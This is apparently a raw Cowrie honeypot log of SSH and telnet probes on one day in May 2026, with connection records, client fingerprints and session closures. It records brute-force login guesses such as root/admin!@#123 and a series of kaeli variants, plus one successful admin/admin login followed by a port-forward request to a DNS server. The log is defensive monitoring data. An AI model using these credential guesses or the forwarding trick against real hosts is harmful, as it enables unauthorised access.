{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53520,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c9899ee584b","protocol":"telnet","message":"New connection: 212.55.149.117:53520 (10.17.0.5:23) [session: 2c9899ee584b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:21:10.499552Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":45014,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff6585a3282d","protocol":"ssh","message":"New connection: 79.127.181.103:45014 (159.203.135.109:22) [session: ff6585a3282d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:21:55.007668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:21:55.210107Z","src_ip":"79.127.181.103","session":"ff6585a3282d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:21:55.401959Z","src_ip":"79.127.181.103","session":"ff6585a3282d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:21:55.407772Z","src_ip":"79.127.181.103","session":"ff6585a3282d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.45.117.127","src_port":63080,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ea4be50747e","protocol":"telnet","message":"New connection: 181.45.117.127:63080 (159.203.135.109:23) [session: 8ea4be50747e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:17.182201Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":19066,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a54b8e286b","protocol":"ssh","message":"New connection: 194.59.206.2:19066 (159.203.135.109:22) [session: e7a54b8e286b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:18.905903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:18.910943Z","src_ip":"194.59.206.2","session":"e7a54b8e286b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:18.997373Z","src_ip":"194.59.206.2","session":"e7a54b8e286b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:19.087493Z","src_ip":"194.59.206.2","session":"e7a54b8e286b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.654752731323242,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:29.836532Z","src_ip":"181.45.117.127","session":"8ea4be50747e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c794d329484c","protocol":"ssh","message":"New connection: 103.15.226.202:42936 (10.17.0.5:22) [session: c794d329484c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:52.317980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:52.322477Z","src_ip":"103.15.226.202","session":"c794d329484c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:52.573141Z","src_ip":"103.15.226.202","session":"c794d329484c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#123","message":"login attempt [root/admin!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:53.566124Z","src_ip":"103.15.226.202","session":"c794d329484c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:54.820958Z","src_ip":"103.15.226.202","session":"c794d329484c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":26136,"dst_ip":"10.17.0.5","dst_port":23,"session":"4164e378e81d","protocol":"telnet","message":"New connection: 212.55.149.117:26136 (10.17.0.5:23) [session: 4164e378e81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:22:56.913006Z"}
{"eventid":"cowrie.session.closed","duration":119.74567675590515,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:10.245137Z","src_ip":"212.55.149.117","session":"2c9899ee584b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":36096,"dst_ip":"10.17.0.5","dst_port":22,"session":"de9c571a3426","protocol":"ssh","message":"New connection: 213.209.159.56:36096 (10.17.0.5:22) [session: de9c571a3426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:15.797805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:15.804245Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:15.886546Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli","message":"login attempt [kaeli/kaeli] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:16.293056Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli1","message":"login attempt [kaeli/kaeli1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:17.378694Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli123","message":"login attempt [kaeli/kaeli123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:18.464093Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli1234","message":"login attempt [kaeli/kaeli1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:19.549598Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli12345","message":"login attempt [kaeli/kaeli12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:20.635017Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:23:21.720079Z","src_ip":"213.209.159.56","session":"de9c571a3426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55660,"dst_ip":"10.17.0.5","dst_port":22,"session":"89cffeb8ea24","protocol":"ssh","message":"New connection: 87.251.64.176:55660 (10.17.0.5:22) [session: 89cffeb8ea24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:05.871814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:05.877084Z","src_ip":"87.251.64.176","session":"89cffeb8ea24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:05.974061Z","src_ip":"87.251.64.176","session":"89cffeb8ea24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:06.270243Z","src_ip":"87.251.64.176","session":"89cffeb8ea24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:06.371217Z","session":"89cffeb8ea24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:06.468971Z","src_ip":"87.251.64.176","session":"89cffeb8ea24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:06.570373Z","src_ip":"87.251.64.176","session":"89cffeb8ea24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":3275,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ca1b38d8475","protocol":"ssh","message":"New connection: 193.24.211.100:3275 (159.203.135.109:22) [session: 0ca1b38d8475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:34.633986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:34.638212Z","src_ip":"193.24.211.100","session":"0ca1b38d8475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:34.761550Z","src_ip":"193.24.211.100","session":"0ca1b38d8475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"john316","message":"login attempt [root/john316] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:35.183763Z","src_ip":"193.24.211.100","session":"0ca1b38d8475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:36.294509Z","src_ip":"193.24.211.100","session":"0ca1b38d8475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.89971971511841,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:24:54.812594Z","src_ip":"212.55.149.117","session":"4164e378e81d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52462,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a4af7826a0","protocol":"telnet","message":"New connection: 212.55.149.117:52462 (10.17.0.5:23) [session: a0a4af7826a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:25:29.472815Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":33197,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4da431b36a8","protocol":"telnet","message":"New connection: 212.55.149.117:33197 (10.17.0.5:23) [session: e4da431b36a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:25:38.078321Z"}
{"eventid":"cowrie.session.closed","duration":60.78888750076294,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:30.261600Z","src_ip":"212.55.149.117","session":"a0a4af7826a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44686,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a408d2d4d1","protocol":"ssh","message":"New connection: 103.15.226.202:44686 (10.17.0.5:22) [session: 56a408d2d4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:30.504057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:30.508505Z","src_ip":"103.15.226.202","session":"56a408d2d4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:30.758475Z","src_ip":"103.15.226.202","session":"56a408d2d4d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":",ki89ol.","message":"login attempt [root/,ki89ol.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:31.518761Z","src_ip":"103.15.226.202","session":"56a408d2d4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:32.768523Z","src_ip":"103.15.226.202","session":"56a408d2d4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.4.46","src_port":51464,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e565642f9e","protocol":"telnet","message":"New connection: 152.59.4.46:51464 (159.203.135.109:23) [session: 76e565642f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:56.552716Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0b0ac872da","protocol":"ssh","message":"New connection: 2.57.121.25:50058 (159.203.135.109:22) [session: 1f0b0ac872da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:57.594605Z"}
